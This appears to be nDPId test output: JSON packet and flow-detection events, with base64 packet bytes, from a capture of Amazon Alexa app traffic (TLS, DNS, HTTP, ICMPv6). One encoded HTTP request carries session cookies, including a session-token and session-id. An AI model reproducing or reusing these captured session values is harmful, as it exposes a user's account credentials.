R0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp0="} +00961{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":186324,"pkt_caplen":454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":454,"pkt_l4_len":420,"pkt":"ePiC0\/vCAMDKkVoBCABFAAG4TU5AANUGMmE27xa5rBAq2AG70bLD2NZD8rhutFAYAPjwIAAAZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMBTQwAAUkDABdBBNfxDLu\/fO8UIpgoRlbpPueky6f3J8FL+1Gbd6ds6FyitXEjMdUbm9soSjhZWDGiQ04JzW2gKD\/tbF1A5TNBzJ0GAQEAu\/h6UKCFymy76TpuxDfYO4SUD74QnsciYZZZqntzMTf0joB1ij659ZhouJ5sL\/0k972\/0GI+IuVUeTChokGmO26SXTEutRq4WvaLIdBfAm+8uaCz+7zVpHWvO2vxlvh67usN7OFLdyM1Ay0CAeYyyc2ociKkQ8kI4+F\/+w2yVe9wJFrjZg8vfC3+F81WE7fYZB2DZnBfi6t930twTqSio23\/v9Fvr9KVyaMwpcGzTgpdiCtf1hEeGwLFZSJTPFcOLS1WDBmJM1HUFZBlPdfmZqkXLQ2nKH7iKO9Gtg6lMMs+FRtcONrIkIosHfro6GcX5vypq7smocc4UFzQbIFEMBYDAwAEDgAAAA=="} +01149{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":125,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":9,"flow_first_seen":1490976030894,"flow_last_seen":1490976031186,"flow_tot_l4_data_len":3757,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":417,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.22.185","src_port":53682,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"firs-ta-g7g.amazon.com","server_names":"firs-ta-g7g.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=firs-ta-g7g.amazon.com","fingerprint":"A0:32:45:00:21:A0:00:56:62:BA:FE:E7:68:81:40:5F:68:7E:A6:86"}} +00415{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":187349,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJ7JAAEAG7o2sECrYNu8WudGyAbvyuG60w9jQj1AQAWLAngAA"} +00415{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":187654,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJ7NAAEAG7oysECrYNu8WudGyAbvyuG60w9jWQ1AQAW263wAA"} +00415{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":187793,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJ7RAAEAG7ousECrYNu8WudGyAbvyuG60w9jX01AQAXm5QwAA"} +00587{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":217659,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmJ7VAAEAG7gysECrYNu8WudGyAbvyuG60w9jX01AYAXkfRgAAFgMDAEYQAABCQQSRfABpCNYhi1oKaf7pxyEpIZPVkuLnqt\/QeVmQIWSuHfjNV2404z5WTjqD2yZecbNRt64le+XDaTP+iJIUZ79aFAMDAAEBFgMDACg53qQ+en3zUZj3jGk4ylYy+SSYofUy8cmZiIXulh+xAYDZhLlVqdvg"} +00485{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":273730,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ePiC0\/vCAMDKkVoBCABFAABbTU9AANUGM7027xa5rBAq2AG70bLD2NfT8rhvMlAYAPhkRQAAFAMDAAEBFgMDACi0WEPKdF0Yw3PvRgOk2k0PM5HWwu08mgCfNlAksTVHXONpk5gHI5Y3"} +02392{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":278386,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcJ7ZAAEAG6NWsECrYNu8WudGyAbvyuG8yw9jYBlAQAXkHuAAAFwMDCN053qQ+en3zUk1b55MEYeJtO5sPRI+WuM2k0JaYZOqCXuwLSobPUIT0Gt2Z2ZoJBCIF8KgkMc567K9PjNKt7R8d8sq3SOA10NUhCW4XatnTYoTL0ZgEgFpCh0sw3BOIJetK+nAiefRDIdyBI0A7RbQrZu06gUxBx26ckoEXNP7+NvgK02kOQBNNbjBJFHFeNNWVxtHZC904JQx3LCOzcA1g9u6XylapTgUKleU7oUpMGoM8hpWr1aGhvzA71yqn1sY1J0oUEoFTfTSdPuQA4msy\/ZutC7kpZfRO46BEqAH8KndXfv+Bu7M7dEW8cZIeSUC\/V0Z+krV0vK7QsdBywZEqbymzTIjW4d9mYWgcIoWZsYQLTJfTpjj4M56d08ZDd5pySkfG7\/9guShmzHLbxGaZSJm6tPQSzjEIuiyfat6qZtA11ScCb1LUChnwPRhEY\/pwqfI3cEuLOwe2C07xqKDLnbEJDdnjp3wcEtBDKjGv0+IPWcQzmxhojZT26yXpJG9+vniiYNUutf5aUB10MEL2Yb2g34CzbERijHnJCwDr0N2ZmzJlJA\/Bk8vMRb34IMLfs0fHCD4YOSyr+dbvFFXqhe0e2YLuSvhQcM1UfVI+9zMK314CTLAP8C\/xU0qEljalkHc2rFXwPKAi0h2GsJkgI\/3WUEXYws8xLG23+c3w5yUOTK5rK0U3S4s9k7GpHw1CCVSvH8lJG3OmMG9RDLY\/ZYAJM+5EgKitdt7Ibge3TiP8OdkU5qkLgRIEUuc8fxvQQU3rHBmC30jM5Mey\/8x1\/1+r74aDEAXB0ERB8n0BCZxYWTL1S3ELpzswJfRfTqKa2wuR0DoIgJQdBgg7rHp2VwZkWl0lY1Pj9F8s7TlEvEYyzqxVhfwPzawyXJkMQvSAM4CD0cOPDmUftawXYQ1N+bZwaKVK5aE2t8vJLPYZoSDff3b3HndZONDpLFblxaAWZy6UEECpUCDFkHj0K3OxsRt8f0WHtVp8xrLe3tV0micONBDTB1PIEMtBWK7mx64sQ8EChw+uAW46WTaEouN1zCFQErb5bBZYQvElfVH8WVLysftY5rHayn34Z6RTyLr9p4cEUhX8BmmqWvJewZAS6es\/UsH0BjLchO+ASRHPcM2JB8wRp7OcKkB6LmSnHQjcGp5cV6hc6FyoUn+XEJ1Tc5W5Euky42vT\/oEr5V26ugGaBh2U\/fJ8EUePzSKJL96YUiEybz1JXvxErTjAD27tsMtEgwD6hlNdIC8RFPTN3oK\/ZI1oHT5F0Ga2jrrkXmqIKlxvyyIPg3i0d2MhTP+aAcH5Ocz1G0EIeFihAmA6FpeBkCDDklC6N4yKO6p4Q14A25UR4kMB2QttNdpZHTgbimYJxp1GD+79MwhgLqpCQQsNfmovwDXEWaX87lwNDs6ys8ct3YSChYw5moMFH0d6QQI4kvtkoHAtpja9H7GES7+zjRBzaAGjsuu5ONRaJBxonRZGlBX\/E7LIBHC0stEhThTIs2Uo69EJd3\/Z3Sjj4QswAe8V5SvKOocdt5Rqfd4GbX8M\/qFqu2K7CYd4WwqSxmvsG5Iogx2Dt2ieKLuB55P6sgZxK88h7SucKcJ0gsJI4oEL9\/JV5MsTaGAP697WuMNBZn\/+bmJ1l6anUZwnajINRo5hLk0r\/82dYMGlVvFldPCeLHKSBY\/RQwjbmpWbur+5L2H\/LX3ivCNUOMSIt3fgeZnV276oHa6EaVcuurovTCbCacDPKf8TJ972Lg4fY7AiaE5dCoVVifP2voR5gnuCeFgKROr19YaoOKXFTxlP1TpnZ+Hg+7ugy+0E0cottZQaa1WrMlbxAUY1W2Zw6OOagi9SV+0h+qpu11YwxAOBnQNfpNQGvc0PV9QCDrLk+KMgD1nNOr4Z+ysYCza6sTU71\/Y79pSchW8QQiXBf4z7qQACUz6QeN8na8f83Lw="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1490976031581,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41030,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":581495,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AMDKkaPvePiC0\/vCCABFAAA+WlFAAEARM2SsECrYrBAqAaBGADUAKk94StwBAAABAAAAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAQ=="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":136,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1490976031581,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41030,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00501{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":687199,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl0Y5AAEARu\/+sECoBrBAq2AA1oEYAUS8VStyBgAABAAIAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAcAMAAUAAQAAAA8ACwhwaXRhbmd1acASwC4AAQABAAAADwAENF7ohg=="} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":137,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":1490976031581,"flow_last_seen":1490976031687,"flow_tot_l4_data_len":123,"flow_min_l4_data_len":42,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":41030,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.134"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":138,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1490976031691,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49572,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":691694,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8fGdAAEAGyoesECrYNF7ohsGkAFBD6jbWAAAAAKAC\/\/\/L1QAAAgQFtAQCCAoA9kqxAAAAAAEDAwg="} +00443{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":750229,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} +00443{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":750280,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} +00427{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":773552,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwMAtAAOcGb+80XuiGrBAq2ABQwaTMUP0xQ+o213ASH\/5qBQAAAgQFtAEDAwY="} +00414{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":774951,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofGhAAEAGypqsECrYNF7ohsGkAFBD6jbXzFD9MlAQAVe0dgAA"} +01497{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":776443,"pkt_caplen":862,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":862,"pkt_l4_len":828,"pkt":"AMDKkaPvePiC0\/vCCABFAANQfGlAAEAGx3GsECrYNF7ohsGkAFBD6jbXzFD9MlAYAVdWkAAAR0VUIC9tYW5pZmVzdC9waXRhbmd1aS5hcHBjYWNoZSBIVFRQLzEuMQ0KSG9zdDogYWxleGEuYW1hem9uLmNvbQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMNCkNvb2tpZTogY3NyZj0tODQ2MTI3Mzg7IHNlc3Npb24taWQtdGltZT0yMDgyNzg3MjAxbDsgc2Vzc2lvbi10b2tlbj0iZWZ0Rm1ZNUY1clRnd3M3bitlQ2RYWlNUeUhjRHlrTmwzTTFwY28zUlZLanluN3ludE9rSjZMTEV5RDVEeGt1bjJyWkF3eWlRVU5QSnFWbThvR1hOcUhtZmYxcE45WUlrTC9pVEMvV0I2NXg3OUVhSFk3UDdCTDFmUktlSFgzcEhXOGVtN0hSekN2ZHBhdVlrc1dGWU8wTk1lVnJQejFjWGVaSHpXcnozOGY3cUZYbDkxcWhIWXZUZ3R1SldrbEZUZFpnaWx0TWJjL289Ijsgc2Vzc2lvbi1pZD0xNTQtMzEwMzI2NS0yOTMyNTE2OyB1YmlkLW1haW49MTUyLTg3NjM1MDUtNzMwNDkwNDsgeC1tYWluPSJ1aVRyTWU4d1FXeXp6Qmwzazl5Q1BsTFhSTVNVYW1NeENZNlFnUDhrOXB3SmZwTUpPS1lYc3lRP3NrckE4QWFOIg0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00842{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":143,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1490976031691,"flow_last_seen":1490976031776,"flow_tot_l4_data_len":916,"flow_min_l4_data_len":20,"flow_max_l4_data_len":828,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49572,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"http": {"hostname":"alexa.amazon.com","url":"alexa.amazon.com\/manifest\/pitangui.appcache","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36"}} +00424{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":844460,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo2EFAANsG08A0XuiGrBAq2ABQwaTMUP0yQ+o5\/1AQf\/MysgAAAAAAAAAA"} +02246{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":859817,"pkt_caplen":1400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1400,"pkt_l4_len":1366,"pkt":"ePiC0\/vCAMDKkVoBCABFAAVq2EJAANsGzn00XuiGrBAq2ABQwaTMUP0yQ+o5\/1AYf\/M8QwAASFRUUC8xLjEgMjAwIE9LDQp4LWFtem4tUmVxdWVzdElkOiAyYWY3NjM1Ny0xNjJiLTExZTctYmYyYy0zNTNhZjRiYWUwZjANCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpFeHBpcmVzOiBGcmksIDMxIE1hciAyMDE3IDE2OjAwOjMxIFVUQw0KQ29udGVudC1UeXBlOiB0ZXh0L2NhY2hlLW1hbmlmZXN0DQpDb250ZW50LUxlbmd0aDogMTA4OA0KRGF0ZTogRnJpLCAzMSBNYXIgMjAxNyAxNjowMDozMSBHTVQNCg0KH4sIAAAAAAAAAJWW3W+rNhTA3\/NXVNrbJAeDY8B96207rVrbW91m2sM0IX8SbgAj27lp99fPQBMoEF1NSqLY5+fz5eNj397c\/n5\/9XTz\/PDb\/et29csVREEE\/SdMrkJ4DaOrl6fV6ralrlcBtzbACZYRoE2zrop67Wf66TTdUAV+6LdhWunaBTcV\/VfX9xWTJnt0a+fUguBJXBB8yy8ItruR4IvWe2nK98fbu+zBXRCcVBVVHmAaIwVsI+m+qPPH+7sshvDNf9d58YGkscACKPqj4Lpe+59+2sfdTtgghCmKQNFQATqiqfMJkaANJp7Y6VoCI11R00so4TFUXpg9y+OTZkUp76Q3LNf2xxTlOKLxSesFdTJEKex9W7TLyoN0WrtdIOOQUdCOt+34hRbGJ2TrdQ+ZGNEpw\/FA3+q6ltxJMbBcH2pn3oOQEBy2AaG3TNbgz9fB+AmRqYBt7qZyqesAEZikINc6L2VW6lwPYlUW+c69OuoONojTGKFWRz87pGtHa2GBMlIGUYJJ0jJ8R5cJFKYJbolaH7OmpO8+BYtgwiLFWrCFsoYe7GiHysI6G2x4ghE47gonPVALOnG\/pxjHEvm9EYtMdbAFD2AcJwz4HKvCVNQVuv5C+T43Pn0iu5N273Tzv9ZsKSul+7ts4+G0kf\/MVqdsw0FjikoCS+1uKg8jFqKfaG+0cYYWbqY8lFGIwVelpBmt6ot9ym5CwsklQ8tL8CaKGKg1oMYdtdlP5QTBCM3MX0gjSekGg25\/+5Nzru9ezjHdRDNlP80vVywUl5ZdTJyI4oiDvvdlT+1U9vipXGrtClXwLk82QDxhEAh9rI\/UiBtj9HGoUa2ZDGAYYl\/FVZ4d\/bpM8p2eEGHCI9URlLdaM6HdFCEIww4RXadaUhMlUogxM1eDUgI3gy8LgBI8GrviaDNBMES+WZx1zIE0VmnvR9fx\/e1xbmlTMkWEjq0tRJWKNE7HUc0Nkg0nvdPtwfY\/fH+YMYpADF5ozb1HZ8eavgFnlRajEu8WMIVY8ikKenjjbfEMmu2+KEsbRFRhDLpWMyj5kLFYMgSsa\/uOEc+j2pmhKiZEgj7KGyGMtGN1pZSNdwojCrr\/WXXwPe\/zRWObwl8RxnuEIgJBN\/ThAW1onftLsf1f9ef5fMTOa5AkCQSlpsLH6ivDZmI\/CvWExUJFCnwMQW7kO9CNWwCJQlAt+xAtmGec+oY1Mj9WaXx\/twFkxN+H\/QgcJXU7acbB91SSEixPVLuVc4RhxvgY6R5SM0ww6G9rW\/keB3a6OimdOyb9Y0yAtvhOSv2DLg6jEA2s7zbKb33L+rtISNs+FNo6eGi38Ix9hBUonIhwEiuo5bH38rt3jiRMnd+F3\/37ryxYkJLQnxYhG\/tpmvnDZ70HTfd2PI+Gt6NtaFDUQr6td64qV6vn++1fX7\/9cb36dfUfPnBO\/LMKAAA="} +00415{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976031,"pkt_ts_usec":861847,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofGpAAEAGypisECrYNF7ohsGkAFBD6jn\/zFECdFAQAWGsAgAA"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1490976023267,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","src_port":67,"dst_port":68,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00415{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976032,"pkt_ts_usec":762979,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofGtAAEAGypesECrYNF7ohsGkAFBD6jn\/zFECdFARAWGsAQAA"} +00457{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1490976032763,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7af8:82ff:fed3:fbc2","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976032,"pkt_ts_usec":763274,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWePiC0\/vCht1gAAAAACQAAf6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHvkAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/0\/vC"} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":148,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1490976032763,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7af8:82ff:fed3:fbc2","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} 